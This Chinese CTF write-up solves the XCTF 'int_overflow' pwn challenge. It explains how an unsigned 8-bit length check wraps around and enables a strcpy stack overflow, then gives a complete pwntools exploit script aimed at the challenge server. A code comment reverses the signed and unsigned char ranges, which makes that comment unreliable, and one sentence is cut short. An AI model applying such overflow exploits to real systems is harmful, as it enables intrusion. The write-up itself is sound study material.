栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

pwn刷题num4---整数溢出上溢+栈溢出

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

pwn刷题num4---整数溢出上溢+栈溢出

攻防世界pwn新手区int_overflow


首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

32位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接

程序运行后让我们选择login(登陆)或exit(退出)
选1,之后输入username(用户名),之后输入passwd(密码),最后只给我们一个success
直接ida看伪代码

主函数未发现什么漏洞,看一下login函数

两个read函数,读入字节一个为0x19小于s的0x28,一个为0x199小于buf的0x199,不能造成栈溢出
再看一下check_passwd(&buf)函数

v3的类型为 unsigned __int8指的是无符号字符型
c语言数据类型
发现危险函数,strcpy函数把字符串s(就是login()函数里的buf(即passwd所在位置))复制给dest,而dest只有0x14字节大小,字符串s有0x288大小,所以可以将字符串s插入system函数地址(即程序中的what_is_this()函数),覆盖strcpy函数返回地址为what_is_this()函数地址,直接获得flag

如果要执行strcpy函数就需要v3满足3 exp

'''
整数溢出,无符号char 最大表示数字127,有符号char为255
'''

from pwn import *
context(os = 'linux',endian = 'little',arch = 'i386',log_level = 'debug')
sh = remote('111.200.241.244',61352)
cat_flag = 0x804868B
sh.recvuntil('choice:')
sh.sendline('1')
sh.recvuntil('username:')
sh.sendline('qwe')
sh.recvuntil('passwd:')
payload = flat(['a' * 0x14,'b' * 4,cat_flag,'b' * (259 - 0x14 - 4 - 4)])
sh.sendline(payload)
sh.interactive()

运行获得flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/826924.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号